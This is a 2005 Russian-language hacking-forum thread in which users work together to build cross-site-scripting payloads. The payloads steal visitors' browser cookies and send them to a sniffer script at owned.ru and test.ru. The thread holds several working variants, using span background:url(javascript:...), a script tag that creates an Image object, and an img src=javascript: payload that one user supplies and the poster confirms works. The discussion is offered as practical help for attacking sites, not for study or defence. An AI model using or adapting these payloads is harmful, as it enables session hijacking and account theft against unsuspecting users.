Правильный запрос к javascript

Discussion in 'Уязвимости' started by Kond4r, 6 Oct 2005.

  1. Kond4r

    Kond4r Elder - Старейшина

    Joined:
    27 Sep 2005
    Messages:
    100
    Likes Received:
    1
    Reputations:
    0
    Ни как ни могу коректно составить запрос javascript

    нужно чтоб работало вот это:

    <span style=background:url(javascript:document.images[1].src="http://owned.ru/snif.php?"+document.cookie) > </span>

    всё перепробовал, ну ни как не получается...

    Был совет сделать такой запрос

    <span style=background:url("http://owned.ru/snif.php?"+document.cookie) > </span>

    В принципе он работает, но по понятным причинам куки не передаёт....

    Сразу скажу, что

    <script>img = new Image(); img.src =" http://owned.ru/snif.php?"+document.cookie;</script>

    пашет отлично....

    ЗЫ:

    кстати алерт в
    <span style=background:url(javascript:alert())> </span>
    выводился у меня токо в какой-то старой версии explorera


    Заранее спасибо за либую инфу!
     
  2. Morph

    Morph Пирожок с Маком

    Joined:
    13 Aug 2004
    Messages:
    790
    Likes Received:
    113
    Reputations:
    169
    А у тя какой браузер?
    Данный код посути должен работать в ИЕ.
    В остальных нет.
     
  3. Kond4r

    Kond4r Elder - Старейшина

    Joined:
    27 Sep 2005
    Messages:
    100
    Likes Received:
    1
    Reputations:
    0
    пробовал в ie70, mozzila 1.7.8, opera7.0 - не работает

    нарыл какой-то smartexplorer 1.1.8 - там работает токо

    <span style=background:url(javascript:alert())><span>

    но если написать

    <span style=background:url(document.images[1].src="http://test.ru/snif.php?"+document.cookie)></span>

    он выдаёт критическую ошибку и вылетает(((

    Нашёл в инете, что это должно работать в
    Applied By

    Win IE 5.0 - 6.x
    OSX IE 5.x
    Mac IE 4.0 - 5.x
    Mac IE 4.0 may show a "low system memory" message.

    Win Opera 7.0 - 7.x
    MSN for OSX
    OSX iCab 2.x

    Not Applied By

    All Mozilla 0.6 - 1.6
    Win IE 4.0
    All NS 4.05 - 4.x
    Win Opera 3.5 - 6.x
    OSX/Mac Opera 5.0 - 6.x
    OSX Safari 1.x
    Konqueror 2.2 - 3.x

    согласно этому в Opere 7.0 работать должно, но повторюсь: непашет....

    В чём дело?
     
  4. bul666

    bul666 Banned

    Joined:
    21 Apr 2005
    Messages:
    280
    Likes Received:
    8
    Reputations:
    -1
    Можно через IMG/// <img src=[JAVASCRIPT]>
     
  5. Kond4r

    Kond4r Elder - Старейшина

    Joined:
    27 Sep 2005
    Messages:
    100
    Likes Received:
    1
    Reputations:
    0
    пробовал тоже самое....

    Есть идея передать переменную document.cookie после ввода адреса снифа:

    <span style=background:url("http://test.ru/snif.php?"+document.cookie)></span>

    Снифер запускается (наконец-то), но передаётся в него не значение кукисов, а как раз то что написано далее: \"+document.cookie

    пробовал писать

    <span style=background:url("http://test.ru/snif.php?"+javascript:document.write(document.cookie))></span>

    передаётся \"+javascript:document.write(document.cookie)

    Помогите очень прошу!
     
  6. bul666

    bul666 Banned

    Joined:
    21 Apr 2005
    Messages:
    280
    Likes Received:
    8
    Reputations:
    -1
    А порчему именно Span ???
     
  7. Kond4r

    Kond4r Elder - Старейшина

    Joined:
    27 Sep 2005
    Messages:
    100
    Likes Received:
    1
    Reputations:
    0
    да мона и <img src....>
    Всё перепробовал. не работает
     
  8. bul666

    bul666 Banned

    Joined:
    21 Apr 2005
    Messages:
    280
    Likes Received:
    8
    Reputations:
    -1
    Попробуй так:

    <img src="javascript:img = new Image(); img.src ='http://owned.ru/snif.php?'+document.cookie;">
     
  9. Kond4r

    Kond4r Elder - Старейшина

    Joined:
    27 Sep 2005
    Messages:
    100
    Likes Received:
    1
    Reputations:
    0
    Заработало!!!)))))
    Прада токо в smartexplorer
    В IE7.0 не работает
    В Mozzile не передаётся document.cookie

    Спасибо огромное...
    Дальше я сам наверно разберусь.
    Хотя если есть какие-то идеи буду признателен.
    >bull666
    Огромное спасибо!
     
  10. Kond4r

    Kond4r Elder - Старейшина

    Joined:
    27 Sep 2005
    Messages:
    100
    Likes Received:
    1
    Reputations:
    0
    было дело


    Всем спасибо сам намыл инфу.... Всё работает и <span> в том числе.)))
     
    #10 Kond4r, 7 Oct 2005
    Last edited: 8 Oct 2005